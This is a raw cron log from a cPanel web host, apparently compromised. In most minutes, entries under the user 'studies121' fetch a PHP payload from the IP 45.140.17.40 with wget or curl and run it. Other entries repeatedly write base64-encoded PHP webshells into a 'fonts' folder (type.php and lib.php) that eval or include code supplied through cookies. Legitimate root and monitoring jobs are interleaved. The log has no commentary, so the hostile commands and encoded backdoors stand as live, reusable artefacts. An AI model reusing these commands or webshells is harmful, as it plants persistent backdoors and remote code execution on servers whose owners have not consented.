Sep  2 07:10:01 ip-184-168-122-23 CROND[3182]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 07:10:01 ip-184-168-122-23 CROND[3186]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 07:10:01 ip-184-168-122-23 CROND[3188]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:10:01 ip-184-168-122-23 CROND[3189]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:10:01 ip-184-168-122-23 CROND[3184]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 07:10:01 ip-184-168-122-23 CROND[3185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:11:01 ip-184-168-122-23 CROND[3309]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:11:01 ip-184-168-122-23 CROND[3310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:11:01 ip-184-168-122-23 CROND[3314]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:11:01 ip-184-168-122-23 CROND[3317]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:12:01 ip-184-168-122-23 CROND[3454]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:12:01 ip-184-168-122-23 CROND[3455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:12:01 ip-184-168-122-23 CROND[3457]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 07:12:01 ip-184-168-122-23 CROND[3458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:12:01 ip-184-168-122-23 CROND[3459]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:13:01 ip-184-168-122-23 CROND[3588]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:13:01 ip-184-168-122-23 CROND[3589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:13:01 ip-184-168-122-23 CROND[3591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:13:01 ip-184-168-122-23 CROND[3593]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:14:01 ip-184-168-122-23 CROND[3773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:14:01 ip-184-168-122-23 CROND[3776]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:14:01 ip-184-168-122-23 CROND[3778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:14:01 ip-184-168-122-23 CROND[3780]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 07:14:01 ip-184-168-122-23 CROND[3779]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:15:01 ip-184-168-122-23 CROND[3937]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:15:01 ip-184-168-122-23 CROND[3938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:15:01 ip-184-168-122-23 CROND[3940]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 07:15:01 ip-184-168-122-23 CROND[3945]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 07:15:01 ip-184-168-122-23 CROND[3946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:15:01 ip-184-168-122-23 CROND[3947]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:16:01 ip-184-168-122-23 CROND[4250]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:16:01 ip-184-168-122-23 CROND[4252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:16:01 ip-184-168-122-23 CROND[4253]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:16:01 ip-184-168-122-23 CROND[4254]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 07:16:01 ip-184-168-122-23 CROND[4256]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 07:16:01 ip-184-168-122-23 CROND[4255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:17:01 ip-184-168-122-23 CROND[4397]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:17:01 ip-184-168-122-23 CROND[4399]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:17:01 ip-184-168-122-23 CROND[4401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:17:01 ip-184-168-122-23 CROND[4402]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:18:01 ip-184-168-122-23 CROND[4554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:18:01 ip-184-168-122-23 CROND[4555]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 07:18:01 ip-184-168-122-23 CROND[4556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:18:01 ip-184-168-122-23 CROND[4559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:18:01 ip-184-168-122-23 CROND[4561]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:19:01 ip-184-168-122-23 CROND[4648]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:19:01 ip-184-168-122-23 CROND[4650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:19:01 ip-184-168-122-23 CROND[4652]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:19:01 ip-184-168-122-23 CROND[4653]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:20:01 ip-184-168-122-23 CROND[4761]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 07:20:01 ip-184-168-122-23 CROND[4764]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 07:20:01 ip-184-168-122-23 CROND[4763]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 07:20:01 ip-184-168-122-23 CROND[4769]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:20:01 ip-184-168-122-23 CROND[4771]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:20:01 ip-184-168-122-23 CROND[4770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:20:01 ip-184-168-122-23 CROND[4772]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 07:20:01 ip-184-168-122-23 CROND[4774]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 07:20:01 ip-184-168-122-23 CROND[4775]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:21:02 ip-184-168-122-23 CROND[4966]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:21:02 ip-184-168-122-23 CROND[4967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:21:02 ip-184-168-122-23 CROND[4969]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:21:02 ip-184-168-122-23 CROND[4971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:22:01 ip-184-168-122-23 CROND[5098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:22:01 ip-184-168-122-23 CROND[5100]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 07:22:01 ip-184-168-122-23 CROND[5102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
